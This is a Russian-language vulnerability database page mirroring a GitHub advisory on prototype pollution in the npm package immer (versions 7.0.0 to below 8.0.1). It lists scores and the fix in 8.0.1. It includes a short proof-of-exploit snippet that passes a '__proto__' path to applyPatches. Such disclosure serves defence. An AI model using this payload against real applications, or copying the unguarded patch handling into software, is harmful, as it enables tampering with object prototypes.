Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-9qmh-276g-x5pj

Опубликовано: 20 янв. 2021
Источник: github
Github: Прошло ревью
CVSS3: 7.5

Описание

Prototype Pollution in immer

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

Пакеты

Наименование

immer

npm
Затронутые версииВерсия исправления

>= 7.0.0, < 8.0.1

8.0.1

EPSS

Процентиль: 55%
0.00321
Низкий

7.5 High

CVSS3

Дефекты

CWE-471

Связанные уязвимости

CVSS3: 7.5
redhat
около 5 лет назад

This affects all versions of package immer.

CVSS3: 7.5
nvd
около 5 лет назад

This affects all versions of package immer.

CVSS3: 7.5
fstec
больше 4 лет назад

Уязвимость библиотеки immer прикладного программного обеспечения Аврора Центр, связанная с неконтролируемым изменением атрибутов прототипа объекта, позволяющая нарушителю реализовать атаку типа «загрязнение прототипа»

EPSS

Процентиль: 55%
0.00321
Низкий

7.5 High

CVSS3

Дефекты

CWE-471